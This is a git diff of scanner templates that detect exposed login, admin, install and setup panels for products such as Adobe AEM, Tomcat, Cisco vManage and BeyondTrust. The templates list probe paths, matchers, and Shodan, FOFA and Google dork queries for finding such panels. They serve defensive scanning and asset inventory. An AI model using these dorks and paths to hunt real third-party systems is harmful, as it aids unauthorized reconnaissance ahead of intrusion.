exposed-panels/achecker-panel.yaml index dd940e3eeb..6c1734bde3 100644 --- a/technologies/achecker-detect.yaml +++ b/exposed-panels/achecker-panel.yaml @@ -1,10 +1,10 @@ -id: achecker-detect +id: achecker-panel info: - name: AChecker Detect + name: AChecker Login Panel author: princechaddha severity: info - tags: tech,achecker + tags: panel,achecker requests: - method: GET diff --git a/exposed-panels/acrolinx-dashboard.yaml b/exposed-panels/acrolinx-dashboard.yaml index 8c3d55bd48..d77c074385 100644 --- a/exposed-panels/acrolinx-dashboard.yaml +++ b/exposed-panels/acrolinx-dashboard.yaml @@ -12,7 +12,7 @@ info: metadata: fofa-query: title=="Acrolinx Dashboard" shodan-query: http.title:"Acrolinx Dashboard" - google-dork: inurl:"Acrolinx Dashboard" + google-query: inurl:"Acrolinx Dashboard" tags: acrolinx,panel requests: diff --git a/exposed-panels/adminer-panel.yaml b/exposed-panels/adminer-panel.yaml index 0adab4e046..adf4b4c859 100644 --- a/exposed-panels/adminer-panel.yaml +++ b/exposed-panels/adminer-panel.yaml @@ -2,7 +2,7 @@ id: adminer-panel info: name: Adminer Login Panel - author: random_robbie,meme-lord + author: random_robbie,meme-lord,ritikchaddha severity: info description: An Adminer login panel was detected. reference: @@ -10,6 +10,7 @@ info: classification: cwe-id: CWE-200 metadata: + verified: true shodan-query: title:"Login - Adminer" tags: panel,adminer @@ -23,6 +24,7 @@ requests: - '{{BaseURL}}/mysql.php' - '{{BaseURL}}/sql.php' - '{{BaseURL}}/wp-content/plugins/adminer/adminer.php' + - '{{BaseURL}}/admin.php' headers: Accept-Language: en-US,en;q=0.5 diff --git a/exposed-panels/adobe/adobe-component-login.yaml b/exposed-panels/adobe/adobe-component-login.yaml index 1d46e94118..1ad431f88b 100644 --- a/exposed-panels/adobe/adobe-component-login.yaml +++ b/exposed-panels/adobe/adobe-component-login.yaml @@ -11,7 +11,7 @@ info: cwe-id: CWE-200 metadata: shodan-query: http.component:"Adobe ColdFusion" - tags: panel,adobe,coldfusion + tags: panel,adobe,coldfusion,edb requests: - method: GET diff --git a/exposed-panels/adobe/adobe-experience-manager-login.yaml b/exposed-panels/adobe/adobe-experience-manager-login.yaml index c1a0f41886..9148cd29f0 100644 --- a/exposed-panels/adobe/adobe-experience-manager-login.yaml +++ b/exposed-panels/adobe/adobe-experience-manager-login.yaml @@ -6,10 +6,11 @@ info: severity: info description: An Adobe Experience Manager login panel was detected. reference: - - https://www.shodan.io/search?query=http.title%3A%22AEM+Sign+In%22 - https://business.adobe.com/products/experience-manager/adobe-experience-manager.html classification: cwe-id: CWE-200 + metadata: + shodan-query: http.title:"AEM Sign In" tags: panel,aem,adobe requests: diff --git a/exposed-panels/adobe/adobe-media-server.yaml b/exposed-panels/adobe/adobe-media-server.yaml index 2ee6efc2c8..45e3d0b4a9 100644 --- a/exposed-panels/adobe/adobe-media-server.yaml +++ b/exposed-panels/adobe/adobe-media-server.yaml @@ -6,10 +6,11 @@ info: severity: info description: An Adobe Media Server login panel was detected. reference: - - https://www.shodan.io/search?query=http.title%3A%22Adobe+Media+Server%22 - https://helpx.adobe.com/support/adobe-media-server.html classification: cwe-id: CWE-200 + metadata: + shodan-query: http.title:"Adobe Media Server" tags: panel,adobe requests: diff --git a/exposed-panels/adobe/aem-crx-package-manager.yaml b/exposed-panels/adobe/aem-crx-package-manager.yaml new file mode 100644 index 0000000000..7f7bc5429e --- /dev/null +++ b/exposed-panels/adobe/aem-crx-package-manager.yaml @@ -0,0 +1,33 @@ +id: aem-crx-package-manager + +info: + name: Adobe AEM CRX Package Manager Exposure + author: dhiyaneshDk + severity: info + reference: + - https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/aem2.txt + metadata: + shodan-query: + - http.title:"AEM Sign In" + - http.component:"Adobe Experience Manager" + tags: panel,aem,adobe + +requests: + - method: GET + path: + - "{{BaseURL}}/crx/packmgr/index.jsp" + + matchers-condition: and + matchers: + - type: word + words: + - 'CRX Package Manager' + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 diff --git a/exposed-panels/adobe/aem-sling-login.yaml b/exposed-panels/adobe/aem-sling-login.yaml new file mode 100644 index 0000000000..22eab59499 --- /dev/null +++ b/exposed-panels/adobe/aem-sling-login.yaml @@ -0,0 +1,36 @@ +id: aem-sling-login + +info: + name: AEM Sling Login + author: dhiyaneshDk + severity: info + reference: + - https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/aem2.txt + metadata: + shodan-query: + - http.title:"AEM Sign In" + - http.component:"Adobe Experience Manager" + tags: panel,aem,adobe,sling + +requests: + - method: GET + path: + - "{{BaseURL}}/system/sling/cqform/defaultlogin.html" + + matchers-condition: and + matchers: + - type: word + words: + - 'Login' + - 'j_username' + - 'j_password' + condition: and + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 diff --git a/exposed-panels/advance-setup.yaml b/exposed-panels/advance-setup.yaml index bbee2bbcf7..6a9647f0a6 100644 --- a/exposed-panels/advance-setup.yaml +++ b/exposed-panels/advance-setup.yaml @@ -10,7 +10,7 @@ info: - https://www.actiontec.com/dsl/ classification: cwe-id: CWE-200 - tags: panel,setup + tags: panel,setup,edb requests: - method: GET diff --git a/exposed-panels/airflow-panel.yaml b/exposed-panels/airflow-panel.yaml index 1df0b6c38b..b26647d5a5 100644 --- a/exposed-panels/airflow-panel.yaml +++ b/exposed-panels/airflow-panel.yaml @@ -8,9 +8,8 @@ info: reference: - https://airflow.apache.org/docs/apache-airflow/stable/security/webserver.html classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L - cvss-score: 8.3 - cwe-id: CWE-522 + cvss-score: 0.0 + cwe-id: CWE-668 metadata: shodan-query: title:"Sign In - Airflow" tags: panel,apache,airflow,admin diff --git a/exposed-panels/ambari-exposure.yaml b/exposed-panels/ambari-exposure.yaml index a420d84dba..98dfcf442c 100644 --- a/exposed-panels/ambari-exposure.yaml +++ b/exposed-panels/ambari-exposure.yaml @@ -3,12 +3,11 @@ id: ambari-exposure info: name: Apache Ambari Exposure Admin Login Panel author: pdteam - severity: medium + severity: info description: An Apache Ambari panel was discovered. classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N - cvss-score: 5.3 - cwe-id: CWE-200 + cvss-score: 0.0 + cwe-id: CWE-668 tags: panel,apache,ambari,exposure requests: diff --git a/exposed-panels/amcrest-login.yaml b/exposed-panels/amcrest-login.yaml index 1c2714211b..780e4e1b0d 100644 --- a/exposed-panels/amcrest-login.yaml +++ b/exposed-panels/amcrest-login.yaml @@ -11,8 +11,8 @@ info: cwe-id: CWE-200 metadata: shodan-query: html:"amcrest" - google-dork: intext:"amcrest" "LDAP User" - tags: panel,camera,amcrest + google-query: intext:"amcrest" "LDAP User" + tags: panel,camera,amcrest,edb requests: - method: GET diff --git a/exposed-panels/amp-application-panel.yaml b/exposed-panels/amp-application-panel.yaml new file mode 100644 index 0000000000..4b4c78f061 --- /dev/null +++ b/exposed-panels/amp-application-panel.yaml @@ -0,0 +1,27 @@ +id: amp-application-panel + +info: + name: AMP - Application Management Panel + author: DhiyaneshDK + severity: info + metadata: + verified: true + shodan-query: title:"AMP - Application Management Panel" + tags: panel,amp + +requests: + - method: GET + path: + - "{{BaseURL}}" + + matchers-condition: and + matchers: + + - type: word + words: + - "AMP - Application Management Panel" + + - type: word + part: header + words: + - "text/html" diff --git a/exposed-panels/apache/public-tomcat-manager.yaml b/exposed-panels/apache/public-tomcat-manager.yaml index fea6aabea5..ee96281c8b 100644 --- a/exposed-panels/apache/public-tomcat-manager.yaml +++ b/exposed-panels/apache/public-tomcat-manager.yaml @@ -7,6 +7,8 @@ info: description: An Apache Tomcat Manager panel was discovered. classification: cwe-id: CWE-200 + metadata: + shodan-query: title:"Apache Tomcat" tags: panel,tomcat,apache requests: diff --git a/exposed-panels/appsmith-web-login.yaml b/exposed-panels/appsmith-web-login.yaml new file mode 100644 index 0000000000..01c88aade3 --- /dev/null +++ b/exposed-panels/appsmith-web-login.yaml @@ -0,0 +1,29 @@ +id: appsmith-web-login + +info: + name: Appsmith Web Log In Panel + author: powerexploit + severity: info + description: Appsmith is a low code, open-source developer tool to build internal applications quickly. You can drag and drop pre-built widgets to build UI on a grid-style canvas. + reference: + - https://www.appsmith.com + metadata: + verified: true + shodan-query: http.title:"appsmith" + tags: panel,appsmith + +requests: + - method: GET + path: + - "{{BaseURL}}/user/login" + + matchers-condition: and + matchers: + - type: word + part: body + words: + - "Appsmith" + + - type: status + status: + - 200 diff --git a/exposed-panels/aqua-enterprise-panel.yaml b/exposed-panels/aqua-enterprise-panel.yaml new file mode 100644 index 0000000000..8bf7f2b692 --- /dev/null +++ b/exposed-panels/aqua-enterprise-panel.yaml @@ -0,0 +1,33 @@ +id: aqua-enterprise-panel + +info: + name: Aqua Enterprise Panel + author: idealphase + severity: info + description: | + Aqua scans container images based on a constantly updated stream of aggregate sources of vulnerability data (CVEs, vendor advisories, and proprietary research) + reference: + - https://www.aquasec.com/ + metadata: + verified: true + shodan-query: http.title:"Aqua Enterprise" || http.title:"Aqua Cloud Native Security Platform" + google-query: intitle:"Aqua Cloud Native Security Platform" + tags: panel,aqua,aquasec + +requests: + - method: GET + path: + - "{{BaseURL}}" + + matchers-condition: and + matchers: + - type: word + part: body + words: + - "Aqua Enterprise" + - "Aqua Cloud Native Security Platform" + condition: or + + - type: status + status: + - 200 diff --git a/exposed-panels/archibus-webcentral-panel.yaml b/exposed-panels/archibus-webcentral-panel.yaml new file mode 100644 index 0000000000..aef27bcd62 --- /dev/null +++ b/exposed-panels/archibus-webcentral-panel.yaml @@ -0,0 +1,38 @@ +id: archibus-webcentral-panel + +info: + name: Archibus Web Central Panel + author: righettod,PJBorah,Hardik-Rathod + severity: info + reference: + - https://archibus.com/products/ + metadata: + verified: true + shodan-query: http.favicon.hash:889652940 + tags: panel,archibus + +requests: + - method: GET + path: + - '{{BaseURL}}' + - '{{BaseURL}}/archibus/login.axvw' + - '{{BaseURL}}/archibus/schema/ab-core/views/sign-in/ab-sign-in.jsp' + + redirects: true + max-redirects: 2 + stop-at-first-match: true + matchers-condition: and + matchers: + - type: word + words: + - "ARCHIBUS" + + - type: word + words: + - "Continue As a Guest" + - "login" + condition: or + + - type: status + status: + - 200 diff --git a/exposed-panels/atvise-login.yaml b/exposed-panels/atvise-login.yaml index bc58bf1715..360d06ce3b 100644 --- a/exposed-panels/atvise-login.yaml +++ b/exposed-panels/atvise-login.yaml @@ -11,8 +11,8 @@ info: classification: cwe-id: CWE-200 metadata: - google-dork: intitle:"atvise - next generation" - tags: panel,atvise + google-query: intitle:"atvise - next generation" + tags: panel,atvise,edb requests: - method: GET diff --git a/exposed-panels/audiocodes-detect.yaml b/exposed-panels/audiocodes-detect.yaml new file mode 100644 index 0000000000..896b2ea28b --- /dev/null +++ b/exposed-panels/audiocodes-detect.yaml @@ -0,0 +1,29 @@ +id: audiocodes-detect + +info: + name: AudioCodes Login Panel + author: princechaddha + severity: info + metadata: + verified: true + shodan-query: http.html:"Audiocodes" + tags: panel,audiocodes + +requests: + - method: GET + path: + - "{{BaseURL}}" + + matchers-condition: and + matchers: + + - type: word + part: body + words: + - "AudioCodes" + - "login" + condition: and + + - type: status + status: + - 203 diff --git a/exposed-panels/avantfax-panel.yaml b/exposed-panels/avantfax-panel.yaml index 7694287813..7a968e7b6a 100644 --- a/exposed-panels/avantfax-panel.yaml +++ b/exposed-panels/avantfax-panel.yaml @@ -8,9 +8,8 @@ info: reference: - http://www.avantfax.com/ classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N - cvss-score: 5.3 - cwe-id: CWE-200 + cvss-score: 0.0 + cwe-id: CWE-668 metadata: shodan-query: http.title:"AvantFAX - Login" tags: panel,avantfax,login diff --git a/exposed-panels/avatier-password-management.yaml b/exposed-panels/avatier-password-management.yaml index 49cd4c37ae..5f4d310a3f 100644 --- a/exposed-panels/avatier-password-management.yaml +++ b/exposed-panels/avatier-password-management.yaml @@ -12,7 +12,7 @@ info: cwe-id: CWE-200 metadata: shodan-query: http.favicon.hash:983734701 - tags: panel,avatier,aims + tags: edb,panel,avatier,aims requests: - method: GET diff --git a/exposed-panels/avideo-install.yaml b/exposed-panels/avideo-install.yaml new file mode 100644 index 0000000000..eab8a8a4f6 --- /dev/null +++ b/exposed-panels/avideo-install.yaml @@ -0,0 +1,27 @@ +id: avideo-install + +info: + name: Avideo Installation Setup + author: ritikchaddha + severity: high + metadata: + verified: true + shodan-query: http.title:"AVideo" + fofa-query: "AVideo" + tags: panel,install,avideo + +requests: + - method: GET + path: + - "{{BaseURL}}/install/index.php" + + matchers-condition: and + matchers: + - type: word + part: body + words: + - 'Install AVideo' + + - type: status + status: + - 200 diff --git a/exposed-panels/avtech-avn801-camera-panel.yaml b/exposed-panels/avtech-avn801-camera-panel.yaml index 6c233d50a7..a36f8957c2 100644 --- a/exposed-panels/avtech-avn801-camera-panel.yaml +++ b/exposed-panels/avtech-avn801-camera-panel.yaml @@ -1,10 +1,10 @@ id: avtech-avn801-camera-panel info: - name: Avtech AVN801 Network Camera Panel Detect + name: Avtech AVN801 Network Camera - Admin Panel Detection author: idealphase severity: info - description: AVTECH offers a range of IP camera series with different shapes, resolutions and lens to fulfill different demands. Select the items needed to narrow down product search. + description: An Avtech AVN801 Network Camera administration panel was detected. reference: - http://www.avtech.com.tw metadata: @@ -28,3 +28,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/07/22 diff --git a/exposed-panels/azkaban-web-client.yaml b/exposed-panels/azkaban-web-client.yaml index a6a08b2122..c939d27836 100644 --- a/exposed-panels/azkaban-web-client.yaml +++ b/exposed-panels/azkaban-web-client.yaml @@ -7,9 +7,10 @@ info: description: An Azkaban web client panel was discovered. reference: - https://azkaban.github.io/ - - https://www.shodan.io/search?query=http.title%3A%22Azkaban+Web+Client%22 classification: cwe-id: CWE-200 + metadata: + shodan-query: http.title:"Azkaban Web Client" tags: panel,azkaban requests: diff --git a/exposed-panels/beyondtrust-login-server.yaml b/exposed-panels/beyondtrust-login-server.yaml index 3ac61f0d06..43746ede00 100644 --- a/exposed-panels/beyondtrust-login-server.yaml +++ b/exposed-panels/beyondtrust-login-server.yaml @@ -1,31 +1,31 @@ -id: beyondtrust-login-server +id: beyondtrust-login-server -info: - name: BeyondTrust PAM login Server - author: r3dg33k,nuk3s3c - severity: info - tags: beyondtrust,pam,panel +info: + name: BeyondTrust PAM login Server + author: r3dg33k,nuk3s3c + severity: info + tags: beyondtrust,pam,panel -requests: - - method: GET - path: - - '{{BaseURL}}/WebConsole/api/security/auth/loginServers' - - matchers-condition: and - matchers: - - type: status - status: - - 200 - - - type: regex - regex: - - '"DomainName":"(.*)"' - - '"domains":' - condition: and - - extractors: - - type: json - part: body - json: - - ".domains[] | .DomainName" +requests: + - method: GET + path: + - '{{BaseURL}}/WebConsole/api/security/auth/loginServers' + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: regex + regex: + - '"DomainName":"(.*)"' + - '"domains":' + condition: and + + extractors: + - type: json + part: body + json: + - ".domains[] | .DomainName" - ".domains[] | .ldapservers" \ No newline at end of file diff --git a/exposed-panels/beyondtrust-panel.yaml b/exposed-panels/beyondtrust-panel.yaml index 06a08998fd..5f024e105e 100644 --- a/exposed-panels/beyondtrust-panel.yaml +++ b/exposed-panels/beyondtrust-panel.yaml @@ -1,21 +1,21 @@ -id: beyondtrust-panel +id: beyondtrust-panel -info: - name: BeyondTrust Login Panel - author: r3dg33k,nuk3s3c - severity: info - description: Detects default Login page for Beyond Trust PAM solution - metadata: - shodan-query: http.html:"BeyondInsight" - tags: beyondtrust,pam,panel +info: + name: BeyondTrust Login Panel + author: r3dg33k,nuk3s3c + severity: info + description: Detects default Login page for Beyond Trust PAM solution + metadata: + shodan-query: http.html:"BeyondInsight" + tags: beyondtrust,pam,panel -requests: - - method: GET - path: - - '{{BaseURL}}/WebConsole/' - - matchers: - - type: word - part: body - words: - - "BeyondInsight" +requests: + - method: GET + path: + - '{{BaseURL}}/WebConsole/' + + matchers: + - type: word + part: body + words: + - "BeyondInsight" diff --git a/exposed-panels/black-duck-panel.yaml b/exposed-panels/black-duck-panel.yaml new file mode 100644 index 0000000000..8e3d84eaf3 --- /dev/null +++ b/exposed-panels/black-duck-panel.yaml @@ -0,0 +1,41 @@ +id: black-duck-panel + +info: + name: Black Duck Panel + author: idealphase,ritikchaddha + severity: info + description: | + Black Duck Security Advisories help you avoid being caught off-guard by open source vulnerabilities, both in development and production. And they provide the critical data necessary to prioritize vulnerabilities for remediation, such as exploit info, remediation guidance, severity scoring, and call path analysis. + reference: + - https://www.blackducksoftware.com/ + - https://www.synopsys.com/software-integrity/security-testing/software-composition-analysis.html + metadata: + verified: true + shodan-query: http.title:"Black Duck" + tags: panel,blackduck,synopsys + +requests: + - method: GET + path: + - "{{BaseURL}}" + + redirects: true + max-redirects: 2 + matchers-condition: and + matchers: + + - type: regex + part: body + regex: + - '(?m)Black Duck(.*)<\/title>' + + - type: word + part: body + words: + - 'ProtexLoginPage' + - 'CCLoginPage' + condition: or + + - type: status + status: + - 200 diff --git a/exposed-panels/blue-iris-login.yaml b/exposed-panels/blue-iris-login.yaml index 783f3c0527..1b77942efa 100644 --- a/exposed-panels/blue-iris-login.yaml +++ b/exposed-panels/blue-iris-login.yaml @@ -12,7 +12,7 @@ info: cwe-id: CWE-200 metadata: shodan-query: http.title:"Blue Iris Login" - tags: panel,blueiris + tags: panel,blueiris,edb requests: - method: GET diff --git a/exposed-panels/ccm-detect.yaml b/exposed-panels/ccm-detect.yaml new file mode 100644 index 0000000000..54db919a16 --- /dev/null +++ b/exposed-panels/ccm-detect.yaml @@ -0,0 +1,27 @@ +id: ccm-detect +info: + name: ClearCom Core Configuration Manager (CCM) Detect + author: failOpen + severity: info + reference: + - https://www.clearcom.com/DownloadCenter/manuals/FreeSpeakII_Online_Manual/UserGuide/Content/Base/CCM/CCM.htm + metadata: + verified: true + shodan-query: http.html:"CCM - Authentication Failure" + tags: panel,clearcom,ccm + +requests: + - method: GET + path: + - "{{BaseURL}}" + + matchers-condition: and + matchers: + - type: word + part: body + words: + - "CCM - Authentication Failure" + + - type: status + status: + - 401 diff --git a/exposed-panels/circarlife-setup.yaml b/exposed-panels/circarlife-setup.yaml index 7f06746f27..95c35c7395 100644 --- a/exposed-panels/circarlife-setup.yaml +++ b/exposed-panels/circarlife-setup.yaml @@ -1,12 +1,16 @@ id: circarlife-setup info: - name: Exposed CirCarLife Setup Page + name: CirCarLife - Admin Panel Access author: geeknik severity: critical - description: CirCarLife is an internet-connected electric vehicle charging station + description: A CirCarLife admin panel was accessed. CirCarLife is an internet-connected electric vehicle charging station reference: - https://circontrol.com/ + classification: + cvss-metrics: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H + cvss-score: 10.0 + cwe-id: CWE-288 tags: scada,circontrol,circarlife,setup,exposure,panel requests: @@ -29,3 +33,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/05/23 diff --git a/exposed-panels/cisco/cisco-finesse-login.yaml b/exposed-panels/cisco/cisco-finesse-login.yaml index ad8938564b..53eec5a454 100644 --- a/exposed-panels/cisco/cisco-finesse-login.yaml +++ b/exposed-panels/cisco/cisco-finesse-login.yaml @@ -6,7 +6,7 @@ info: severity: info reference: - https://www.exploit-db.com/ghdb/6824 - tags: panel,cisco + tags: panel,cisco,edb requests: - method: GET diff --git a/exposed-panels/cisco/cisco-integrated-login.yaml b/exposed-panels/cisco/cisco-integrated-login.yaml index 5f716a0018..ea59a7b5eb 100644 --- a/exposed-panels/cisco/cisco-integrated-login.yaml +++ b/exposed-panels/cisco/cisco-integrated-login.yaml @@ -6,7 +6,7 @@ info: severity: info reference: - https://www.exploit-db.com/ghdb/3859 - tags: panel,cisco + tags: panel,cisco,edb requests: - method: GET diff --git a/exposed-panels/cisco/cisco-meraki-exposure.yaml b/exposed-panels/cisco/cisco-meraki-exposure.yaml index d14835d3a6..2bd4804920 100644 --- a/exposed-panels/cisco/cisco-meraki-exposure.yaml +++ b/exposed-panels/cisco/cisco-meraki-exposure.yaml @@ -6,7 +6,7 @@ info: severity: info reference: - https://www.exploit-db.com/ghdb/6708 - tags: panel,cisco,meraki,disclosure + tags: panel,cisco,meraki,disclosure,edb requests: - method: GET diff --git a/exposed-panels/cisco/cisco-sendgrid.yaml b/exposed-panels/cisco/cisco-sendgrid.yaml index 7148f305d0..beabbae9a8 100644 --- a/exposed-panels/cisco/cisco-sendgrid.yaml +++ b/exposed-panels/cisco/cisco-sendgrid.yaml @@ -4,8 +4,8 @@ info: name: Cisco ServiceGrid author: dhiyaneshDK severity: info - reference: - - https://www.shodan.io/search?query=http.title%3A%22Cisco+ServiceGrid%22 + metadata: + shodan-query: http.title:"Cisco ServiceGrid" tags: panel,cisco requests: diff --git a/exposed-panels/cisco/cisco-telepresence.yaml b/exposed-panels/cisco/cisco-telepresence.yaml index 93a3d7423f..8acf6500c9 100644 --- a/exposed-panels/cisco/cisco-telepresence.yaml +++ b/exposed-panels/cisco/cisco-telepresence.yaml @@ -5,6 +5,7 @@ info: author: dhiyaneshDk severity: info metadata: + verified: true shodan-query: http.title:"Cisco Telepresence" tags: panel,cisco @@ -13,12 +14,14 @@ requests: path: - "{{BaseURL}}/login.html" + redirects: true + max-redirects: 2 matchers-condition: and matchers: - type: word part: body words: - - "<title>Cisco TelePresence MCU - login:" + - "Cisco TelePresence MCU - login:" - type: status status: diff --git a/exposed-panels/cisco/cisco-vmanage-login.yaml b/exposed-panels/cisco/cisco-vmanage-login.yaml new file mode 100644 index 0000000000..e2fd84b0eb --- /dev/null +++ b/exposed-panels/cisco/cisco-vmanage-login.yaml @@ -0,0 +1,27 @@ +id: cisco-vmanage-login + +info: + name: Cisco vManage Login + author: DhiyaneshDk + severity: info + metadata: + verified: true + shodan-query: title:"Cisco vManage" + tags: panel,cisco + +requests: + - method: GET + path: + - "{{BaseURL}}" + + matchers-condition: and + matchers: + + - type: word + part: body + words: + - "Cisco vManage" + + - type: status + status: + - 200 diff --git a/exposed-panels/claris-filemaker-webdirect.yaml b/exposed-panels/claris-filemaker-webdirect.yaml new file mode 100644 index 0000000000..e79a51fed8 --- /dev/null +++ b/exposed-panels/claris-filemaker-webdirect.yaml @@ -0,0 +1,32 @@ +id: claris-filemaker-webdirect + +info: + name: Claris FileMaker WebDirect + author: DhiyaneshDK + severity: info + reference: https://www.exploit-db.com/ghdb/5669 + metadata: + verified: true + shodan-dork: title:"Claris FileMaker WebDirect" + tags: panel + +requests: + - method: GET + path: + - '{{BaseURL}}/fmi/webd/' + + matchers-condition: and + matchers: + - type: word + part: body + words: + - 'Claris FileMaker WebDirect' + + - type: word + part: header + words: + - 'text/html' + + - type: status + status: + - 200 diff --git a/exposed-panels/clearpass-policy-manager.yaml b/exposed-panels/clearpass-policy-manager.yaml index 2f51f4abe4..f0f26c0b46 100644 --- a/exposed-panels/clearpass-policy-manager.yaml +++ b/exposed-panels/clearpass-policy-manager.yaml @@ -4,8 +4,8 @@ info: name: ClearPass Policy Manager - Aruba Networks author: dhiyaneshDK severity: info - reference: - - https://www.shodan.io/search?query=http.title%3A%22ClearPass+Policy+Manager+-+Aruba+Networks%22 + metadata: + shodan-query: http.title:"ClearPass Policy Manager" tags: panel,aruba requests: diff --git a/exposed-panels/cloudphysician-radar.yaml b/exposed-panels/cloudphysician-radar.yaml index 10cb2fb9a0..14fbe91dc8 100644 --- a/exposed-panels/cloudphysician-radar.yaml +++ b/exposed-panels/cloudphysician-radar.yaml @@ -8,7 +8,7 @@ info: - https://www.exploit-db.com/ghdb/7466 metadata: shodan-query: http.title:"Cloudphysician RADAR" - tags: panel + tags: panel,edb requests: - method: GET diff --git a/exposed-panels/codemeter-webadmin-panel.yaml b/exposed-panels/codemeter-webadmin-panel.yaml index bcb121e897..3b8b0e48a5 100644 --- a/exposed-panels/codemeter-webadmin-panel.yaml +++ b/exposed-panels/codemeter-webadmin-panel.yaml @@ -1,10 +1,13 @@ id: codemeter-webadmin-panel info: - name: CodeMeter WebAdmin Panel + name: CodeMeter - WebAdmin Panel Access author: Techryptic (@Tech) - severity: high - description: Panel on CodeMeter WebAdmin application. + severity: info + description: CodeMeter WebAdmin panel was accessed. + classification: + cvss-score: 0.0 + cwe-id: CWE-668 tags: codemeter,webadmin,panel requests: @@ -23,3 +26,5 @@ requests: status: - 301 - 302 + +# Enhanced by mp on 2022/07/15 diff --git a/exposed-panels/coldfusion-administrator-login.yaml b/exposed-panels/coldfusion-administrator-login.yaml index 51d8b79fed..6a6f93f69e 100644 --- a/exposed-panels/coldfusion-administrator-login.yaml +++ b/exposed-panels/coldfusion-administrator-login.yaml @@ -4,10 +4,8 @@ info: name: ColdFusion Administrator Login author: dhiyaneshDK severity: info - reference: - - https://www.shodan.io/search?query=http.title%3A%22ColdFusion+Administrator+Login%22 metadata: - shodan-query: http.component:"Adobe ColdFusion" + shodan-query: http.title:"ColdFusion Administrator Login" tags: panel,coldfusion,adobe requests: @@ -19,7 +17,7 @@ requests: matchers: - type: word words: - - 'ColdFusion Administrator Login' + - 'ColdFusion Administrator Login' - type: status status: diff --git a/exposed-panels/concrete5/concrete5-install.yaml b/exposed-panels/concrete5/concrete5-install.yaml index f683f2ad12..18ee36fc1c 100644 --- a/exposed-panels/concrete5/concrete5-install.yaml +++ b/exposed-panels/concrete5/concrete5-install.yaml @@ -8,8 +8,9 @@ info: reference: - https://documentation.concretecms.org/developers/introduction/installing-concrete-cms metadata: + verified: true shodan-query: http.title:"Install concrete5" - tags: panel,concrete,cms + tags: panel,install,concrete,cms requests: - method: GET @@ -17,17 +18,18 @@ requests: - "{{BaseURL}}/index.php/install" - "{{BaseURL}}/concrete5/index.php/install" + stop-at-first-match: true matchers-condition: and matchers: - - type: status - status: - - 200 - - type: word part: body words: - 'Install concrete5' + - type: status + status: + - 200 + extractors: - type: regex part: body diff --git a/exposed-panels/contao-login-panel.yaml b/exposed-panels/contao-login-panel.yaml new file mode 100644 index 0000000000..e1112d80a4 --- /dev/null +++ b/exposed-panels/contao-login-panel.yaml @@ -0,0 +1,29 @@ +id: contao-login-panel + +info: + name: Contao Login Panel + author: princechaddha + severity: info + metadata: + verified: true + shodan-query: http.html:"Contao Open Source CMS" + tags: panel,contao + +requests: + - method: GET + path: + - "{{BaseURL}}/contao/login" + + matchers-condition: and + matchers: + + - type: word + part: body + words: + - "Contao Open Source CMS" + - "

Login

" + condition: and + + - type: status + status: + - 200 diff --git a/exposed-panels/corebos-panel.yaml b/exposed-panels/corebos-panel.yaml new file mode 100644 index 0000000000..c7b9be436d --- /dev/null +++ b/exposed-panels/corebos-panel.yaml @@ -0,0 +1,26 @@ +id: corebos-panel + +info: + name: CoreBos - Panel + author: arafatansari + severity: info + metadata: + verified: true + shodan-query: http.html:"corebos" + tags: panel,corebos + +requests: + - method: GET + path: + - '{{BaseURL}}' + + matchers-condition: and + matchers: + - type: word + part: body + words: + - 'Powered by coreBOS' + + - type: status + status: + - 200 diff --git a/exposed-panels/cortex-xsoar-login.yaml b/exposed-panels/cortex-xsoar-login.yaml index 62fb8daad7..5151fc8bfa 100644 --- a/exposed-panels/cortex-xsoar-login.yaml +++ b/exposed-panels/cortex-xsoar-login.yaml @@ -4,8 +4,8 @@ info: name: Cortex XSOAR Login Panel author: dhiyaneshDK severity: info - reference: - - https://www.shodan.io/search?query=http.title%3A%22Cortex+XSOAR%22 + metadata: + shodan-query: http.title:"Cortex XSOAR" tags: panel,soar,login requests: diff --git a/exposed-panels/cpanel-api-codes.yaml b/exposed-panels/cpanel-api-codes.yaml new file mode 100644 index 0000000000..eba217cec2 --- /dev/null +++ b/exposed-panels/cpanel-api-codes.yaml @@ -0,0 +1,31 @@ +id: cpanel-api-codes + +info: + name: CPanel API Codes + author: DhiyaneshDK + severity: info + metadata: + verified: true + shodan-query: title:"CPanel - API Codes" + tags: panel,cpanel + +requests: + - method: GET + path: + - "{{BaseURL}}" + + matchers-condition: and + matchers: + + - type: word + words: + - "CPanel - API Codes" + + - type: word + part: header + words: + - "text/html" + + - type: status + status: + - 200 diff --git a/exposed-panels/crush-ftp-login.yaml b/exposed-panels/crush-ftp-login.yaml index e2bca4e138..4d7242ed8c 100644 --- a/exposed-panels/crush-ftp-login.yaml +++ b/exposed-panels/crush-ftp-login.yaml @@ -6,7 +6,7 @@ info: severity: info reference: - https://www.exploit-db.com/ghdb/6591 - tags: panel + tags: panel,edb requests: - method: GET diff --git a/exposed-panels/cvent-panel-detect.yaml b/exposed-panels/cvent-panel-detect.yaml new file mode 100644 index 0000000000..260a07ac06 --- /dev/null +++ b/exposed-panels/cvent-panel-detect.yaml @@ -0,0 +1,30 @@ +id: cvent-panel-detect + +info: + name: Cvent Panel Detect + author: tess + severity: info + metadata: + verified: true + shodan-query: http.html:"Cvent Inc" + tags: panel,cvent + +requests: + - method: GET + path: + - '{{BaseURL}}' + - '{{BaseURL}}/Login.aspx' + - '{{BaseURL}}/manager/login.aspx' + - '{{BaseURL}}/GDSHost/Default.aspx' + - '{{BaseURL}}/events/EventRsvp.aspx' + + stop-at-first-match: true + redirects: true + max-redirects: 2 + matchers: + - type: word + part: body + words: + - "Cvent Inc" + - "Cvent, Inc." + condition: or diff --git a/exposed-panels/d-link-wireless.yaml b/exposed-panels/d-link-wireless.yaml index 7ae336b0d4..b98de3ff91 100644 --- a/exposed-panels/d-link-wireless.yaml +++ b/exposed-panels/d-link-wireless.yaml @@ -6,7 +6,7 @@ info: severity: info reference: - 